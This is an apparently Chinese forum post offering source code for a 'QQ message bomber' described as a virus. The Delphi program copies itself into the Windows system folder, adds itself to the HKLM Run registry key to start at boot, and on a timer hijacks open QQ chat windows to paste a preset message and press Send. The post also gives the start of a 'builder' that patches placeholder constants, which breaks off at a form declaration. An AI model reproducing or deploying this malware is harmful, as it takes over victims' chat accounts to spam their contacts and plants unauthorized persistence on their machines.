QQ消息轰炸机的代码及原理 病毒文件代码
******************************************
program QQtailer;
uses
Windows,
Messages,
SysUtils,
Registry;
Const
MyMessage='AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; //消息长度150
FileName ='ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ';//文件名30
WaitTime ='TTTTTTTTTT'; //时间10
var
TimerHandle:WORD;
MSG:TMSG;
SystemPath :array[0..128] of char;
SysPath:String;
procedure TimerProc(Wnd:HWnd;Msg,TimerID,dwTime:DWORD);stdcall;
var
hLastWin,hButton : THandle;
szWindowText: array[0..MAX_PATH] of Char;
szTextLength: Integer;
QQName:String;
begin
hLastWin := GetForegroundWindow;
GetClassName(hLastWin,szWindowText,SizeOf(szWindowText));
if szWindowText <>'#32770' then Exit;
szTextLength := SendMessage(hLastWin, WM_GETTEXT, MAX_PATH, Integer(@szWindowText[0]));
szWindowText[szTextLength] := #0;
if (Pos('聊天中',szWindowText)>0) or (Pos('群',szWindowText)>0) then
begin
QQName:=Copy(szWindowText,Pos(' ',szWindowText)+1,Pos('聊天中',szWindowText)-Pos(' ',szWindowText)-2);
hLastWin := FindWindowEx(hLastWin, THandle(nil),'#32770',nil);
if hLastWin=0 then Exit;
hButton := FindWindowEx(hLastWin, THandle(nil),nil,'发送(&S)');
if hButton=0 then Exit;
hLastWin := FindWindowEx(hLastWin, THandle(nil),'AfxWnd42',nil);
if hLastWin=0 then Exit;
hLastWin := FindWindowEx(hLastWin, THandle(nil),'RICHEDIT',nil);
if hLastWin=0 then Exit;
QQName:=MyMessage;
SendMessage(hLastWin,EM_REPLACESEL,180,Integer(Pchar(QQName)));
SendMessage(hButton, WM_LBUTTONDOWN, 0, 0);
SendMessage(hButton, WM_LBUTTONUP, 0, 0);
end;
end;
procedure StartTimer(Interval:DWORD);
begin
TimerHandle:=SetTimer(0,0,Interval,@TimerProc);
end;
Procedure AutoRun;
var
Reg:TRegistry;
begin
Reg:=TRegistry.Create;
try
Reg.RootKey:=HKEY_LOCAL_MACHINE;
Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',False);
Reg.WriteString('SystemFile',SysPath);
finally
Reg.CloseKey;
Reg.Free;
end;
end;
begin
GetSystemDirectory(SystemPath,128);
SysPath:=SystemPath + '\' + FileName;
CopyFile(pchar(ParamStr(0)),Pchar(SysPath),False);
AutoRun;
StartTimer(StrToInt(WaitTime));
AutoRun;
while(GetMessage(Msg,0,0,0))do
begin
AutoRun;
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end.
********************************************
制造机代码
[我用了皮肤控件大家可能过不了编译]
********************************************
unit Unit1;
interface
uses
Windows, SysUtils,Forms, SkinData, DynamicSkinForm, spTrayIcon, SkinHint, SkinCtrls,
StdCtrls, SkinBoxCtrls,ShellAPI, spSkinShellCtrls, Classes,
Controls, Mask;
type
TForm1 = class(TForm)
spDynamicSkinForm1: TspDynamicSkinForm;


